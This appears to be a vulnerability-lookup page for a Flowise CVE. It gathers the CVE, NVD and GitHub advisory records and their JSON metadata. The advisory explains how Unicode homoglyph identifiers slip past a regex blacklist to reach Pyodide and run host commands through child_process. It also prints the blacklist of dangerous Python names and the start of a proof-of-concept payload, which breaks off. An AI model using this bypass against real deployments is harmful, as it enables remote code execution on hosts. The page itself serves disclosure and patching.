Vulnerability-Lookup

CVE-2026-70470 (GCVE-0-2026-70470)

Vulnerability from cvelistv5 – Published: 2026-08-04 17:30 – Updated: 2026-08-04 19:51

Title

Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, and __b𝐮iltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3.

Severity

9.5 (Critical)


                        
                          CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-04 18:21 UTC

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8086 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6499	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/f4e27…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
FlowiseAI	Flowise	Affected: < 3.1.3	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-70470",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-04T18:21:27.715178Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-04T19:51:28.378Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\ud835\udc1ass__, __subcl\ud835\udc1asses__, __b\ud835\udc1ase__, and __b\ud835\udc2eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "HIGH",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.5,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184: Incomplete List of Disallowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-04T17:30:54.176Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/pull/6499",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-52fh-8v99-63c2",
        "discovery": "UNKNOWN"
      },
      "title": "Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-70470",
    "datePublished": "2026-08-04T17:30:54.176Z",
    "dateReserved": "2026-08-04T15:24:41.338Z",
    "dateUpdated": "2026-08-04T19:51:28.378Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-70470",
      "date": "2026-10-31",
      "epss": "0.00972",
      "percentile": "0.61969"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "Flowise",
                "vendor": "FlowiseAI",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 3.1.3"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "8C8B3FC2-6070-4400-9690-FCBE0C5C1D37",
                    "versionEndExcluding": "3.1.3",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\ud835\udc1ass__, __subcl\ud835\udc1asses__, __b\ud835\udc1ase__, and __b\ud835\udc2eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3."
          },
          {
            "lang": "es",
            "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Previo a la 3.1.3, Flowise validatePythonCodeForDataFrame en packages/components/src/pythonCodeValidator.ts puede ser eludido con identificadores hom\u00f3glifos Unicode, permitiendo la ejecuci\u00f3n arbitraria de Python dentro de Pyodide y la ejecuci\u00f3n completa de comandos del sistema operativo en el host de Flowise a trav\u00e9s de la interoperabilidad del m\u00f3dulo js de Pyodide. El validador restringe pyodide.runPythonAsync en packages/components/nodes/agents/CSVAgent/CSVAgent.ts y packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts con una lista negra de l\u00edmites de palabra ASCII. Los l\u00edmites de palabra de las expresiones regulares de JavaScript son solo ASCII, mientras que Python 3 normaliza los identificadores NFKC en tiempo de an\u00e1lisis, por lo que las formas hom\u00f3glifas como __cl?ss__, __subcl?sses__, __b?se__ y __b?iltins__ eluden la lista negra y se analizan como sus equivalentes ASCII. Este problema se ha corregido en la versi\u00f3n 3.1.3."
          }
        ],
        "id": "CVE-2026-70470",
        "lastModified": "2026-10-24T15:10:00.190",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "HIGH",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 9.5,
                "baseSeverity": "CRITICAL",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-70470",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-04T18:21:27.715178Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-04T18:16:57.930",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Issue Tracking",
              "Patch"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Release Notes"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-184"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-70470",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-04T18:21:27.715178Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-04T18:21:36.790Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "Flowise",
              "vendor": "FlowiseAI",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.1.3"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\ud835\udc1ass__, __subcl\ud835\udc1asses__, __b\ud835\udc1ase__, and __b\ud835\udc2eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "HIGH",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 9.5,
                "baseSeverity": "CRITICAL",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "HIGH",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "HIGH",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
                "version": "4.0",
                "vulnAvailabilityImpact": "HIGH",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "HIGH"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-184",
                  "description": "CWE-184: Incomplete List of Disallowed Inputs",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-04T17:30:54.176Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
            },
            {
              "name": "https://github.com/FlowiseAI/Flowise/pull/6499",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
            },
            {
              "name": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
            },
            {
              "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
            }
          ],
          "source": {
            "advisory": "GHSA-52fh-8v99-63c2",
            "discovery": "UNKNOWN"
          },
          "title": "Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-70470",
        "datePublished": "2026-08-04T17:30:54.176Z",
        "dateReserved": "2026-08-04T15:24:41.338Z",
        "dateUpdated": "2026-08-04T19:51:28.378Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-70470

Vulnerability from fkie_nvd - Published: 2026-08-04 18:16 - Updated: 2026-10-24 15:10

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c	Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/pull/6499	Issue Tracking, Patch
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3	Patch, Release Notes
security-advisories@github.com	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	flowiseai	flowise	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8C8B3FC2-6070-4400-9690-FCBE0C5C1D37",
              "versionEndExcluding": "3.1.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise validatePythonCodeForDataFrame in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide js module interop. The validator gates pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts with an ASCII word-boundary blacklist. JavaScript regex word boundaries are ASCII-only, while Python 3 NFKC-normalizes identifiers at parse time, so homoglyph forms such as __cl\ud835\udc1ass__, __subcl\ud835\udc1asses__, __b\ud835\udc1ase__, and __b\ud835\udc2eiltins__ bypass the blacklist and are parsed as their ASCII equivalents. This issue is fixed in version 3.1.3."
    },
    {
      "lang": "es",
      "value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. Previo a la 3.1.3, Flowise validatePythonCodeForDataFrame en packages/components/src/pythonCodeValidator.ts puede ser eludido con identificadores hom\u00f3glifos Unicode, permitiendo la ejecuci\u00f3n arbitraria de Python dentro de Pyodide y la ejecuci\u00f3n completa de comandos del sistema operativo en el host de Flowise a trav\u00e9s de la interoperabilidad del m\u00f3dulo js de Pyodide. El validador restringe pyodide.runPythonAsync en packages/components/nodes/agents/CSVAgent/CSVAgent.ts y packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts con una lista negra de l\u00edmites de palabra ASCII. Los l\u00edmites de palabra de las expresiones regulares de JavaScript son solo ASCII, mientras que Python 3 normaliza los identificadores NFKC en tiempo de an\u00e1lisis, por lo que las formas hom\u00f3glifas como __cl?ss__, __subcl?sses__, __b?se__ y __b?iltins__ eluden la lista negra y se analizan como sus equivalentes ASCII. Este problema se ha corregido en la versi\u00f3n 3.1.3."
    }
  ],
  "id": "CVE-2026-70470",
  "lastModified": "2026-10-24T15:10:00.190",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "HIGH",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 9.5,
          "baseSeverity": "CRITICAL",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-70470",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-04T18:21:27.715178Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-04T18:16:57.930",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/pull/6499"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-184"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-52FH-8V99-63C2

Vulnerability from github – Published: 2026-08-04 17:31 – Updated: 2026-08-04 17:31

Summary

Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

Details

Summary

The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details

packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:

{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rules

Two design flaws combine into a bypass:

JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \b__class__\b never matches __cl𝐚ss__.
Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, __b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.

Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.

From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.

Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.

The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC

Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:

// npm install pyodide
const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [
  { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
  { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
  { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
  { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
  { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
  { pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
  { pattern: /\burllib\./g }, { pattern: /\brequests\./g },
  { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
  { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
  { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
  { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `
cls = ().__cl\u{1D41A}ss__
